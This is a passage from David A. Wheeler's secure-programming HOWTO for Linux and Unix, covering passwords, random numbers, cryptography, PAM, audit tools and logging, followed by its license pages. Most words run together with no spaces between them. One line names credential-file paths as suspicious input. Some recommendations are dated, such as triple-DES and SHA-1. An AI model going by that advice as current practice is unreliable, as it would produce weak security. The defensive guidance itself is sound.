Wherepossible,don’t write codeto handlepasswords.In particular, if theapplication
is local, try to dependon thenormallogin authenticationby auser. If theapplicationis
aCGI script,try to dependon thewebserver to provide theprotection.If the
applicationis overanetwork, avoid sendingthepassword ascleartext (wherepossible)
sinceit canbeeasilycapturedby network sniffersandreusedlater. “Encrypting” a
passwordusingsomekey fixedin thealgorithmor usingsomesortof shrouding
algorithmis essentiallythesameassendingthepasswordascleartext.

For networks,considerat leastusingdigestpasswords.Digestpasswordsarepasswords
developedfrom hashes;typically theserverwill sendtheclient somedata(e.g.,date,
time,nameof server), theclient combinesthis datawith theuserpassword, theclient
hashesthis value(termedthe“digestpasword”) andrepliesjust thehashedresultto the
server; theserververifiesthis hashvalue.Thisworks,becausethepassword is never
actuallysentin any form; thepassword is just usedto derive thehashvalue.Digest
passwordsaren’t considered“encryption” in theusualsenseandareusuallyaccepted
evenin countrieswith lawsconstrainingencryptionfor confidentiality. Digest
passwordsarevulnerableto activeattackthreatsbut protectagainstpassivenetwork
sniffers.Oneweaknessis that,for digestpasswordsto work, theservermusthaveall
theunhashedpasswords,makingtheserveravery temptingtargetfor attack.

If yourapplicationpermitsusersto settheir passwords,checkthepasswordsand
permitonly “good” passwords(e.g.,not in a dictionary, having certainminimal length,
etc.).You maywantto look at informationsuchas
http://consult.cern.ch/writeup/security/security_3.html onhow to choosea good
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password.You shouldusePAM if youcan,becauseit supportspluggablepassword
checkers.

10.2. Random Number s
In many casessecureprogramsmustgenerate“random”numbersthatcannotbe
guessedby anadversary. Examplesincludesessionkeys,publicor privatekeys,
symmetrickeys,noncesandIVs usedin many protocols,salts,andsoon. Ideally, you
shouldusea truly randomsourceof datafor randomnumbers,suchasvaluesbasedon
radioactivedecay(throughprecisetiming of Geigercounterclicks),atmosphericnoise,
or thermalnoisein electricalcircuits.Somecomputershaveahardwarecomponentthat
functionsasa realrandomvaluegenerator, andif it’ savailableyoushoulduseit.

However, mostcomputersdon’t havehardwarethatgeneratestruly randomvalues,so
in mostcasesyou needaway to generaterandomnumbersthatis sufficiently random
thatanadversarycan’t predictit. In general,this meansthatyou’ll needthreethings:

• An “unguessable”state;typically this is doneby measuringvariancesin timing of
low-level devices(keystrokes,diskdrivearmjitter, etc.)in a way thatanadversary
cannotcontrol.

• A cryptographicallystrongpseudo-randomnumbergenerator(PRNG),which uses
thestateto generate“random” numbers.

• A largenumberof bits (in boththeseedandtheresultingvalueused).There’s no
point in having astrongPRNGif youonly havea few possiblevalues,becausethis
makesit easyfor anattacker to usebruteforceattacks.Thenumberof bitsnecessary
variesdependingon thecircumstance,however, sincetheseareoftenusedas
cryptographickeys, thenormalrulesof thumbfor keysapply. For a symmetrickey
(result),I’d useat least112bits (3DES),128bits is a little better, and160bits or
moreis evensafer.

Typically thePRNGusesthestateto generatesomevalues,andthensomeof its values
andotherunguessableinputsareusedto updatethestate.Therearelots of waysto
attackthesesystems.For example,if anattacker cancontrolor view inputsto thestate
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(or partsof it), theattackermaybeableto determineyour supposedly“random”
number.

Therealdangerwith PRNGsis thatmostcomputerlanguagelibrariesincludea large
setof pseudo-randomnumbergenerators(PRNGs)which areinappropriatefor
securitypurposes.Let mesayit again:donot usetypical randomnumbergenerators
for securitypurposes. Typical library PRNGsareintendedfor usein simulations,
games,andsoon; they arenot sufficiently randomfor usein securityfunctionssuchas
key generation.Most non-cryptographiclibrary PRNGsaresomevariationof “linear
congruentialgenerators”,wherethe“next” randomvalueis computedas
"(aX+b) modm" (whereX is thepreviousvalue).Goodlinearcongruentialgenerators
arefastandhaveusefulstatisticalproperties,makingthemappropriatefor their
intendeduses.Theproblemwith suchPRNGsis thatfuturevaluescanbeeasily
deducedby anattacker (thoughthey mayappearrandom).Otheralgorithmsfor
generatingrandomnumbersquickly, suchasquadraticgeneratorsandcubicgenerators,
havealsobeenbroken[Schneier1996].In short,youhave to usecryptographically
strongPRNGsto generaterandomnumbersin secureapplications- ordinaryrandom
numberlibrariesarenot sufficient.

Failing to correctlygeneratetruly randomvaluesfor keyshascausedanumberof
problems,includingholesin Kerberos,theX window system,andNFS[Venema1996].

If possible,youshouldusesystemservices(typically providedby theoperating
system)thatareexpresslydesignedto createcryptographicallysecurerandomvalues.
For example,theLinux kernel(since1.3.30)includesa randomnumbergenerator,
which is sufficient for many securitypurposes.This randomnumbergeneratorgathers
environmentalnoisefrom devicedriversandothersourcesinto anentropy pool.When
accessedas/dev/random,randombytesareonly returnedwithin theestimatednumber
of bits of noisein theentropy pool (whentheentropy pool is empty, thecall blocks
until additionalenvironmentalnoiseis gathered).Whenaccessedas/dev/urandom,as
many bytesasarerequestedarereturnedevenwhentheentropy pool is exhausted.If
you areusingtherandomvaluesfor cryptographicpurposes(e.g.,to generateakey) on
Linux, use/dev/random.More informationis availablein thesystemdocumentation
random(4).

You mightconsiderusinga cryptographichashfunctions(e.g.,SHA-1)on PRNG
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outputs.By usinga hashalgorithm,evenif thePRNGturnsout to beguessable,this
meansthattheattackermustnow alsobreakthehashfunction.

If youhave to implementastrongPRNGyourself,agoodchoicefor a
cryptographicallystrong(andpatent-unencumbered)PRNGis theYarrow algorithm;
you canlearnmoreaboutYarrow from http://www.counterpane.com/yarrow.html.
SomeotherPRNGscanbeuseful,but many widely-usedoneshaveknown weaknesses
thatmayor maynot matterdependingon yourapplication.Beforeimplmentinga
PRNGyourself,consulttheliterature,suchas[Kelsey 1998]and[McGraw 2000a].

10.3. Speciall y Protect Secrets (Passwords
and Keys) in User Memor y
If yourapplicationmusthandlepasswordsor non-publickeys (suchassessionkeys,
privatekeys,or secretkeys),overwritethemimmediatelyafterusingthemsothey have
minimalexposure.For example,in Java,don’t usethetypeStringto storea password
becauseStringsareimmutable(they will notbeoverwrittenuntil garbage-collectedand
reused,possiblya far time in thefuture).Instead,in Javausechar[] to storeapassword,
soit canbeimmediatelyoverwritten.

Also, if your programhandlessuchsecretvalues,besureto disablecreatingcore
dumps(via ulimit). Otherwise,anattackermaybeableto halt theprogramandfind the
secretvaluein thedatadump.Also, beware- normallyprocessescanmonitorother
processesthroughthecallsfor debuggers(e.g.,via ptrace(2)andthe/proc
pseudo-filesystem)[Venema1996]Kernelsusuallyprotectagainstthesemonitoring
routinesif theprocessis setuidor setgid(on thefew ancientonesthatdon’t, there
really isn’t away to defendyourselfotherthanupgrading).Thus,if your process
managessecretvalues,youprobablyshouldmake it setgidor setuid(to adifferent
unprivilegedgroupor user)to forceablyinhibit this kind of monitoring.

10.4. Cryptographic Algorithms and
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Protocols
Oftencryptographicalgorithmsandprotocolsarenecessaryto keepasystemsecure,
particularlywhencommunicatingthroughanuntrustednetwork suchastheInternet.
Wherepossible,usesessionencryptionto foil sessionhijackingandto hide
authenticationinformation,aswell asto supportprivacy.

For backgroundinformationandcode,you shouldprobablylook at theclassictext
“AppliedCryptography”[Schneier1996].Thenewsgroup“sci.crypt” hasaseriesof
FAQ’s; youcanfind themat many locations,including
http://www.landfield.com/faqs/cryptography-faq.Linux-specificresourcesincludethe
Linux EncryptionHOWTO at http://marc.mutz.com/Encryption-HOWTO/.A
discussionon how protocolsusethebasicalgorithmscanbefoundin [Opplinger
1998].Whatfollowshereis just a few comments;theseareasareratherspecializedand
coveredmorethoroughlyelsewhere.

It’ sworth notingthattherearemany legalhurdlesinvolvedwith cryptographic
algorithms.First, theuse,export,and/orimport of implementationsof encryption
algorithmsarerestrictedin many countries.Second,anumberof algorithmsare
patented;evenif theownerspermit“free use”at themoment,withoutasignedcontract
they canalwayschangetheir mindslater. Most of thepatentissuescanbeeasily
avoidednowadays,onceyou know to watchout for it, sothere’s little reasonto subject
yourselfto theproblem.

Cryptographicprotocolsandalgorithmsaredifficult to getright, sodo notcreateyour
own. Instead,useexistingprotocolsandalgorithmswhereyou can.In particular, do not
createyourown encryptionalgorithmsunlessyouareanexpertin cryptology, know
whatyou’redoing,andplanto spendyearsin professionalreview of thealgorithm.
Creatingencryptionalgorithms(thatareany good)is a taskfor expertsonly.

For protocols,try to usestandard-conformingprotocolssuchasSSL(soonto beTLS),
SSH,IPSec,GnuPG/PGP, andKerberos.Many of theseoverlapsomewhatin
functionality, but eachhasa “specialty” niche.SSL(soonto beTLS) is theprimary
methodfor protectinghttp (web)transactions.PGP-compatibleprotocols(implemented
in PGPandGnuPG)areaprimarymethodfor securingemailend-to-end.Kerberosis a
primarymethodfor securingandsupportingauthenticationon aLAN. SSHis the
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primarymethodof securing“remoteterminals”overaninternet,e.g.,telnet-likeandX
windowsconnections,thoughit’ softenusedfor securingotherdatastreamstoo (such
asCVS accesses).IPSecis theprimarymethodfor securinglower-level packetsand
“all” packets,soit’ sparticularlyusefulfor securingvirtual privatenetworksandremote
machines.

For secretkey (bulk data)encryptionalgorithms,useonly encryptionalgorithmsthat
havebeenopenlypublishedandwithstoodyearsof attack,andcheckon their patent
status.For encryptingunimportantdata,theold DES(56-bit key) algorithmstill has
somevalue,but with modernhardwareit’ s too easyto break.For many applications
triple-DESis currentlythebestencryptionalgorithm;it hasa reasonablylengthykey
(112bits),nopatentissues,anda longhistoryof withstandingattacks.TheAES
algorithmmaybeworthusingaswell, onceit’ sproven,andyou shouldprepareto be
ableto switchto it (it’ smuchfasterthantriple-DES).Twofishis anotherexcellent
encryptionalgorithm.Youshouldavoid IDEA dueto patentissues(it’ s subjectto U.S.
andEuropeanpatents),but I’m unawareof any serioustechnicalproblemswith it. Your
protocolshouldsupportmultipleencryptionalgorithms,anyway; thatway, whenan
algorithmis broken,userscanswitchto anotherone.

For public key cryptography(used,amongotherthings,for authenticationandsending
secretkeys), thereareonly a few widely-deployedalgorithms.Oneof themost
widely-usedalgorithmsis RSA;RSA’s algorithmwaspatented,but only in theU.S.,
andthatpatentexpiredin September2000.TheDiffie-Hellmankey exchange
algorithmis widely usedto permittwo partiesto agreeona sessionkey. By itself it
doesn’t guaranteethatthepartiesarewho they saythey are,or thatthereis no
middleman,but it doesstronglyhelpdefendagainstpassive listeners;its patentexpired
in 1997.NIST developedthedigital signaturestandard(DSS)(it’ samodificationof the
ElGamalcryptosystem)for digital signaturegenerationandverification;oneof the
conditionsfor its developmentwasfor it to bepatent-free.

Someprogramsneedaone-wayhashalgorithm,thatis, a functionthattakesan
“arbitrary” amountof dataandgeneratesafixed-lengthnumberthathardto invert (e.g.,
it’ sdifficult for anattacker to createadifferentsetof datato generatethatsamevalue).
For anumberof yearsMD5 hasbeena favorite,but recenteffortshaveshown thatits
128-bit lengthmaynot beenough[vanOorschot1994]andthatcertainattacksweaken
MD5’sprotection[Dobbertin1996].Indeed,therearerumorsthata top industry
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cryptographerhasbrokenMD5, but is boundby employeeagreementto keepsilent
(seetheBugtraq22 August2000postingby JohnViega).Anyonecancreatea rumor,
but enoughweaknesseshavebeenfoundthattheideaof completingthebreakis
plausible.If you’rewriting new code,youprobablyoughtto useSHA-1 instead.

In a relatednote,if you mustcreateyour own communicationprotocol,examinethe
problemsof what’sgoneon before.ClassicssuchasBellovin [1989]’s review of
securityproblemsin theTCP/IPprotocolsuitemight helpyou,aswell asBruce
Schneier[1998]andMudge’sbreakingof Microsoft’sPPTPimplementationandtheir
follow-onwork. Of course,besureto giveany new protocolwidespreadreview, and
reusewhatyoucan.

10.5. Using PAM
PluggableAuthenticationModules(PAM) is aflexible mechanismfor authenticating
users.Many Unix-likesystemssupportPAM, includingSolaris,nearlyall Linux
distributions(e.g.,RedHatLinux, Caldera,andDebianasof version2.2),and
FreeBSDasof version3.1.By usingPAM, your programcanbeindependentof the
authenticationscheme(passwords,SmartCards,etc.).Basically, yourprogramcalls
PAM, whichat run-timedetermineswhich “authenticationmodules”arerequiredby
checkingtheconfigurationsetby thelocal systemadministrator. If you’rewriting a
programthatrequiresauthentication(e.g.,enteringa password),youshouldinclude
supportfor PAM. Youcanfind outmoreabouttheLinux-PAM projectat
http://www.kernel.org/pub/linux/libs/pam/index.html.

10.6. Tools
Sometoolsmayhelpyoudetectsecurityproblemsbeforeyou field theresult.If you’re
building acommonkind of productwheremany standardpotentialflaws exist (likean
ftp serveror firewall), youmightfind standardsecurityscanningtoolsuseful.Onegood
oneis Nessus(http://www.nessus.org); therearemany others.Of course,runninga
“secure”programonaninsecureplatformconfigurationmakeslittle sense;youmay
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wantto examinehardeningsystemssuchasBastilleavailableat
http://www.bastille-linux.org.

You mayfind someauditingtoolshelpful for findingpotentialsecurityflaws.Hereare
a few:

• ITS4 from Cigital (formerlyReliableSoftwareTechnologies,RST)staticallychecks
C/C++code.ITS4worksby performingpattern-matchingon sourcecode,looking
for patternsknown to bepossiblydangerous(e.g.,certainfunctioncalls).It is
availablefreefor non-commercialuse,includingits sourcecodeandwith certain
modificationandredistribution rights.Onewarning;thetool’s licensingclaimscan
beinitially misleading.Cigital claimsthatITS4 is “opensource”but, in fact,its
licensedoesnotmeettheOpenSourceDefinition
(http://www.opensource.org/osd.html)(OSD).In particular, ITS4’s licensefailspoint
6, which forbids“non-commercialuseonly” clausesin opensourcelicenses.It’ s
unfortunatethatCigital insistsonusingtheterm“opensource”to describetheir
license.ITS4 is afine tool, releasedundera fairly generouslicensefor commercial
software,yetusingthetermthis waycangive theappearanceof acompany trying to
gainthecachetof “opensource”withoutactuallybeingopensource.Cigital says
thatthey simplydon’t accepttheOSDdefinitionandthatthey wish to useadifferent
definitioninstead.Nothinglegally preventsthis,but theOSDdefinitionis usedby
over5000softwareprojects(at leastall thosehostedby SourceForgeat
http://www.sourceforge.net),Linux distributors,Netscape(now AOL), theW3C,
journalists(suchasthoseof theEconomist),andmany otherorganizations.Most
programmersdon’t wantto wadethroughlicenseagreements,sousingthis other
definitioncanbeconfusing.I donotbelieveCigital hasany intentionto mislead;
they’rea reputablecompany with very reputableandhonestpeople.It’ sunfortunate
thatthis particularpositionof theirsleads(in my opinion)to unnecessaryconfusion.
In any case,ITS4 is availableat http://www.rstcorp.com/its4.

• LCLint is a tool for staticallycheckingC programs.With minimaleffort, LCLint can
beusedasabetterlint. If additionaleffort is investedaddingannotationsto
programs,LCLint canperformstrongercheckingthancanbedoneby any standard
lint. Thesoftwareis licensedundertheGPL andis availablefrom
http://lclint.cs.virginia.edu.
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• BFBTester, theBruteForceBinaryTester, is licensedundertheGPL.Thisprogram
doesquick securitychecksof binaryprograms.BFBTesterperformschecksof single
andmultipleargumentcommandline overflowsandenvironmentvariableoverflows.
Version2.0andhighercanalsowatchfor tempfilecreationactivity (to checkfor
usingunsafetempfilenames).At thetimeof this writing, BFBTestingdoesn’t runon
Linux dueto a technicalissuein Linux’sPOSIXthreadsimplementation,but this
mayhavechangedby thetimeyou readthis.More informationis availableat
http://my.ispchannel.com/~mheffner/bfbtester.

10.7. Miscellaneous
Thefollowing aremiscellaneoussecurityguidelinesthatI couldn’t seemto fit
anywhereelse:

Haveyourprogramcheckat leastsomeof its assumptionsbeforeit usesthem(e.g.,at
thebeginningof theprogram).For example,if you dependon the“sticky” bit beingset
on agivendirectory, testit; suchteststake little timeandcouldpreventaserious
problem.If you worry abouttheexecutiontimeof sometestsoneachcall, at least
performthetestat installationtime,or evenbetterat leastperformtheteston
applicationstart-up.

Write auditlogsfor programstartup,sessionstartup,andfor suspiciousactivity.
Possibleinformationof valueincludesdate,time,uid, euid,gid, egid, terminal
information,processid, andcommandline values.You mayfind thefunctionsyslog(3)
helpful for implementingauditlogs.Oneawkwardproblemis thatany loggingsystem
shouldbeableto recorda lot of information(sincethis informationcouldbevery
helpful),yet if theinformationisn’t handledcarefullytheinformationitself couldbe
usedto createanattack.After all, theattackercontrolssomeof theinputbeingsentto
theprogram.Whenrecordingdatasentby apossibleattacker, identify a list of
“expected”charactersandescapeany “unexpected”characterssothatthelog isn’t
corrupted.Not doingthis canbea realproblem;usersmayincludecharacterssuchas
controlcharacters(especiallyNIL or end-of-line)thatcancauserealproblems.For
example,if anattackerembedsanewline, they canthenforgelog entriesby following
thenewline with thedesiredlog entry. Sadly, theredoesn’t seemto beastandard
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conventionfor escapingthesecharacters.I’m partialto theURL escapingmechanism
(%hhwherehh is thehexadecimalvalueof theescapedbyte)but thereareothers
includingtheC convention(\ooofor theoctalvalueand\X whereX is aspecial
symbol,e.g.,\n for newline). There’salsothecaret-system(^I is control-I), thoughthat
doesn’t handlebytevaluesover127gracefully.

Thereis thedangerthatausercouldcreateadenial-of-serviceattack(or at leaststop
auditing)by performingavery largenumberof eventsthatcut anauditrecorduntil the
systemrunsout of resourcesto storetherecords.Oneapproachto counterto this threat
is to rate-limit auditrecordrecording;intentionallyslow down theresponserateif “too
many” auditrecordsarebeingcut.Youcouldtry to slow theresponserateonly to the
suspectedattacker, but in many situationsasingleattackercanmasqueradeas
potentiallymany users.

Selectingwhatis “suspiciousactivity” is, of course,dependenton whattheprogram
doesandits anticipateduse.Any input thatfails thefiltering checksdiscussedearlieris
certainlyacandidate(e.g.,containingNIL). Inputsthatcouldnot resultfrom normal
useshouldprobablybelogged,e.g.,aCGI programwherecertainrequiredfieldsare
missingin suspiciousways.Any input with phraseslike /etc/passwdor /etc/shadow or
thelike is verysuspiciousin many cases.Similarly, trying to accessWindows
“registry” filesor .pwl files is verysuspicious.

If youhavea built-in scriptinglanguage,it maybepossiblefor thelanguageto setan
environmentvariablewhichadverselyaffectstheprograminvoking thescript.Defend
againstthis.

If youneedacomplex configurationlanguage,makesurethelanguagehasacomment
characterandincludeanumberof commented-outsecureexamples.Often’#’ is used
for commenting,meaning“the restof this line is a comment”.

If possible,don’t createsetuidor setgidrootprograms;make theuserlog in asroot
instead.

Signyourcode.Thatway, otherscancheckto seeif what’savailablewaswhatwas
sent.

Considerstaticallylinking secureprograms.Thiscountersattackson thedynamiclink
library mechanismby makingsurethatthesecureprogramsdon’t useit.
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Whenreadingovercode,considerall thecaseswhereamatchis notmade.For
example,if thereis aswitchstatement,whathappenswhennoneof thecasesmatch?If
thereis an“if ” statement,whathappenswhentheconditionis false?
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Theendof a matteris betterthan
its beginning, andpatienceis
betterthanpride.

Ecclesiastes7:8 (NIV)

Designingandimplementinga truly secureprogramis actuallyadifficult taskon
Unix-likesystemssuchasLinux andUnix. Thedifficulty is thata truly secureprogram
mustrespondappropriatelyto all possibleinputsandenvironmentscontrolledby a
potentiallyhostileuser. Developersof secureprogramsmustdeeplyunderstandtheir
platform,seekanduseguidelines(suchasthese),andthenuseassuranceprocesses
(suchaspeerreview) to reducetheir programs’vulnerabilities.

In conclusion,herearesomeof thekey guidelinesin this book:

• Validateall your inputs,includingcommandline inputs,environmentvariables,CGI
inputs,andsoon.Don’t just reject“bad” input;definewhatis an“acceptable”input
andrejectanything thatdoesn’t match.

• Avoid buffer overflow. Makesurethatlong inputs(andlong intermediatedata
values)can’t beusedto takeoveryour program.This is theprimaryprogrammatic
errorat this time.

• StructureProgramInternals.Securetheinterface,minimizeprivileges,make the
initial configurationanddefaultssafe,andfail safe.Avoid raceconditions(e.g.,by
safelyopeningany files in ashareddirectorylike /tmp).Trustonly trustworthy
channels(e.g.,mostserversmustnot trusttheir clientsfor securitychecksor other
sensitivedatasuchasanitem’spricein apurchase).

• Carefullycall out to otherresources.Limit their valuesto valid values(in particular
beconcernedaboutmetacharacters),andcheckall systemcall returnvalues.

• Replyinformationjudiciously. In particular, minimizefeedback,andhandlefull or
unresponsiveoutputto anuntrusteduser.
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Appendix A. Histor y
Herearea few key eventsin thedevelopmentof this book,startingfrom mostrecent
events:

2001-01-01David A. Wheeler

Version2.70released,addingasignificantamountof additionalmaterial,suchas
asignificantexpansionof thediscussionof cross-sitemaliciouscontent,
HTML/URI filtering, andhandlingtemporaryfiles.

2000-05-24David A. Wheeler

Switchedto GNU’sGFDL license,addedmorecontent.

2000-04-21David A. Wheeler

Version2.00released,dated21April 2000,whichswitchingthedocument’s
internalformatfrom theLinuxdocDTD to theDocBookDTD. Thanksto Jorge
Godoy for helpingmeperformthetransition.

2000-04-04David A. Wheeler

Version1.60released;changedsothatit now coversbothLinux andUnix. Since
mostof theguidelinescoveredboth,andmany/mostappdeveloperswanttheir
appsto run on both,it madesenseto coverboth.

2000-02-09David A. Wheeler

Notedthatthedocumentis now partof theLinux DocumentationProject(LDP).

1999-11-29David A. Wheeler

Initial version(1.0)completedandreleasedto thepublic.

Notethatamoredetaileddescriptionof changesis availableon-linein the
“ChangeLog”file.
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your suggestion,comment,or criticism; normallyI expectthatpeoplewantcredit,and
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A copyof thetext of theedictwas
to beissuedaslaw in every
provinceandmadeknownto the
peopleof everynationalityso
they wouldbereadyfor thatday.

Esther3:14 (NIV)

Thisdocumentis Copyright (C) 1999-2000David A. Wheeler. Permissionis grantedto
copy, distributeand/ormodify this documentunderthetermsof theGNU Free
DocumentationLicense(FDL), Version1.1or any laterversionpublishedby theFree
SoftwareFoundation;with theinvariantsectionsbeing“About theAuthor”, with no
Front-CoverTexts,andno Back-Cover texts.A copy of thelicenseis includedbelow in
AppendixD.

Thesetermsdo permitmirroring by otherwebsites,but besure to do thefollowing:

• makesureyour mirrorsautomaticallygetupgradesfrom themastersite,

• clearlyshow thelocationof themastersite
(http://www.dwheeler.com/secure-programs),with ahypertext link to themastersite,
and

• giveme(David A. Wheeler)creditastheauthor.

Thefirst two pointsprimarily protectmefrom repeatedlyhearingaboutobsoletebugs.I
do notwantto hearaboutbugsI fixedayearago,just becauseyouarenotproperly
mirroring thedocument.By linking to themastersite,userscancheckandseeif your
mirror is up-to-date.I’m sensitive to theproblemsof siteswhich haveverystrong
securityrequirementsandthereforecannotrisk normalconnectionsto theInternet;if
thatdescribesyour situation,at leasttry to meettheotherpointsandtry to occasionally
sneakernetupdatesinto your environment.
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By this license,youmaymodify thedocument,but youcan’t claim thatwhatyou
didn’t write is yours(i.e.,plagerism)nor canyou pretendthatamodifiedversionis
identicalto theoriginalwork. Modifying thework doesnot transfercopyright of the
entirework to you; this is not a “public domain”work in termsof copyright law. See
thelicensein AppendixD for details.If youhavequestionsaboutwhatthelicense
allows,pleasecontactme.In mostcases,it’ sbetterif yousendyour changesto the
masterintegrator(currentlyDavid A. Wheeler),sothatyourchangeswill beintegrated
with everyoneelse’s changesinto themastercopy.

I amnota lawyer, nevertheless,it’ smy positionasanauthorandsoftwaredeveloper
thatany codefragmentsnotexplicitly markedotherwisearesosmallthattheir usefits
underthe“f air use”doctrinein copyright law. In otherwords,unlessmarkedotherwise,
you canusethecodefragmentswithout any restrictionat all. Copyright law doesnot
permitcopyrightingabsurdlysmallcomponentsof a work (e.g.,“I own all rightsto
B-flat andB-flat minor chords”),andthefragmentsnotmarkedotherwiseareof the
samekind of minisculesizewhencomparedto realprograms.I’vedonemy bestto give
creditfor specificpiecesof codewrittenby others.Someof youmaystill beconcerned
aboutthelegalstatusof thiscode,andI wantmakesurethatit’ sclearthatyou canuse
this codein yoursoftware.Therefore,codefragmentsincludeddirectly in this
documentnototherwisemarkedhavealsobeenreleasedby meunderthetermsof the
“MIT license”,to ensureyou thatthere’sno seriouslegalencumberance:

Source code in this book not otherwise identified is
Copyright (c) 1999-2001 David A. Wheeler.

Permission is hereby granted, free of charge, to any person
obtaining a copy of the source code in this book not
otherwise identified (the "Software"), to deal in the
Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute,
sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so,
subject to the following conditions:

The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
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WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
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Version1.1,March2000

Copyright © 2000

FreeSoftwareFoundation,Inc.
59TemplePlace,Suite330,
Boston,
MA
02111-1307
USA

Everyoneis permittedto copy anddistributeverbatimcopiesof this licensedocument,
but changingit is not allowed.

0. PREAMBLE

Thepurposeof this Licenseis to makeamanual,textbook,or otherwritten
document"free" in thesenseof freedom:to assureeveryonetheeffective freedom
to copy andredistributeit, with or withoutmodifying it, eithercommerciallyor
noncommercially. Secondarily, this Licensepreservesfor theauthorandpublisher
away to getcreditfor their work, while notbeingconsideredresponsiblefor
modificationsmadeby others.

ThisLicenseis akind of "copyleft", which meansthatderivativeworksof the
documentmustthemselvesbefreein thesamesense.It complementstheGNU
GeneralPublicLicense,which is acopyleft licensedesignedfor freesoftware.

Wehavedesignedthis Licensein orderto useit for manualsfor freesoftware,
becausefreesoftwareneedsfreedocumentation:a freeprogramshouldcomewith
manualsproviding thesamefreedomsthatthesoftwaredoes.But this Licenseis
not limited to softwaremanuals;it canbeusedfor any textualwork, regardlessof
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subjectmatteror whetherit is publishedasaprintedbook.Werecommendthis
Licenseprincipally for workswhosepurposeis instructionor reference.

1. APPLICABILITY AND DEFINITIONS

ThisLicenseappliesto any manualor otherwork thatcontainsanoticeplacedby
thecopyright holdersayingit canbedistributedunderthetermsof thisLicense.
The"Document", below, refersto any suchmanualor work. Any memberof the
public is a licensee,andis addressedas"you".

A "Modified Version"of theDocumentmeansany work containingtheDocument
or a portionof it, eithercopiedverbatim,or with modificationsand/ortranslated
into anotherlanguage.

A "SecondarySection"is anamedappendixor a front-mattersectionof the
Documentthatdealsexclusively with therelationshipof thepublishersor authors
of the Documentto the Document’soverall subject(or to relatedmatters)and
containsnothingthatcouldfall directlywithin thatoverall subject.(For example,
if theDocumentis in parta textbookof mathematics,aSecondarySectionmay
notexplainany mathematics.)Therelationshipcouldbeamatterof historical
connectionwith thesubjector with relatedmatters,or of legal,commercial,
philosophical,ethicalor political positionregardingthem.

The"InvariantSections"arecertain SecondarySectionswhosetitles are
designated,asbeingthoseof InvariantSections,in thenoticethatsaysthatthe
Documentis releasedunderthis License.

The"CoverTexts" arecertainshortpassagesof text thatarelisted,asFront-Cover
Textsor Back-Cover Texts, in thenoticethatsaysthattheDocumentis released
underthis License.

A "Transparent"copy of the Documentmeansamachine-readablecopy,
representedin a formatwhosespecificationis availableto thegeneralpublic,
whosecontentscanbeviewedandediteddirectly andstraightforwardlywith
generictext editorsor (for imagescomposedof pixels)genericpaintprogramsor
(for drawings)somewidely availabledrawing editor, andthatis suitablefor input
to text formattersor for automatictranslationto avarietyof formatssuitablefor
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input to text formatters.A copy madein anotherwiseTransparentfile format
whosemarkuphasbeendesignedto thwartor discouragesubsequentmodification
by readersis notTransparent.A copy thatis not "Transparent"is called"Opaque".

Examplesof suitableformatsfor TransparentcopiesincludeplainASCII without
markup,Texinfo input format,LaTeX input format,SGML or XML usinga
publicly availableDTD, andstandard-conformingsimpleHTML designedfor
humanmodification.OpaqueformatsincludePostScript,PDF, proprietaryformats
thatcanbereadandeditedonly by proprietarywordprocessors,SGML or XML
for which theDTD and/orprocessingtoolsarenotgenerallyavailable,andthe
machine-generatedHTML producedby somewordprocessorsfor outputpurposes
only.

The"Title Page"means,for aprintedbook,thetitle pageitself, plussuch
following pagesasareneededto hold, legibly, thematerialthisLicenserequiresto
appearin thetitle page.For worksin formatswhichdo nothaveany title pageas
such, "Title Page"meansthetext nearthemostprominentappearanceof the
work’s title, precedingthebeginningof thebodyof thetext.

2. VERBATIM COPYING

You maycopy anddistributetheDocumentin any medium,eithercommercially
or noncommercially, providedthatthis License,thecopyright notices,andthe
licensenoticesayingthis Licenseappliesto theDocumentarereproducedin all
copies,andthatyouaddno otherconditionswhatsoever to thoseof this License.
Youmaynot usetechnicalmeasuresto obstructor controlthereadingor further
copying of thecopiesyou makeor distribute.However, youmayaccept
compensationin exchangefor copies.If youdistributea largeenoughnumberof
copiesyoumustalsofollow theconditionsin section3.

Youmayalsolendcopies,underthesameconditionsstatedabove,andyoumay
publicly displaycopies.

3. COPYINGIN QUANTITY

If youpublishprintedcopiesof theDocumentnumberingmorethan100,andthe
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Document’s licensenoticerequiresCoverTexts,youmustenclosethecopiesin
coversthatcarry, clearlyandlegibly, all theseCoverTexts:Front-CoverTextson
thefront cover, andBack-CoverTextson thebackcover. Bothcoversmustalso
clearlyandlegibly identify you asthepublisherof thesecopies.Thefront cover
mustpresentthefull title with all wordsof thetitle equallyprominentandvisible.
Youmayaddothermaterialon thecoversin addition.Copying with changes
limited to thecovers,aslongasthey preserve thetitle of theDocumentandsatisfy
theseconditions,canbetreatedasverbatimcopying in otherrespects.

If therequiredtexts for eithercoveraretoo voluminousto fit legibly, youshould
put thefirst oneslisted(asmany asfit reasonably)on theactualcover, and
continuetherestontoadjacentpages.

If youpublishor distributeOpaquecopiesof theDocumentnumberingmorethan
100,youmusteitherincludeamachine-readableTransparentcopy alongwith
eachOpaquecopy, or statein or with eachOpaquecopy apublicly-accessible
computer-network locationcontainingacompleteTransparentcopy of the
Document,freeof addedmaterial,which thegeneralnetwork-usingpublichas
accessto downloadanonymouslyat nochargeusingpublic-standardnetwork
protocols.If you usethelatteroption,you musttake reasonablyprudentsteps,
whenyou begin distributionof Opaquecopiesin quantity, to ensurethatthis
Transparentcopy will remainthusaccessibleat thestatedlocationuntil at least
oneyearafterthelasttimeyoudistributeanOpaquecopy (directlyor through
youragentsor retailers)of thateditionto thepublic.

It is requested,but not required,thatyoucontacttheauthorsof theDocumentwell
beforeredistributingany largenumberof copies,to give themachanceto provide
youwith anupdatedversionof theDocument.

4. MODIFICATIONS

You maycopy anddistributeaModifiedVersionof theDocumentunderthe
conditionsof sections2 and3 above,providedthatyou releasetheModified
Versionunderpreciselythis License,with theModified Versionfilling therole of
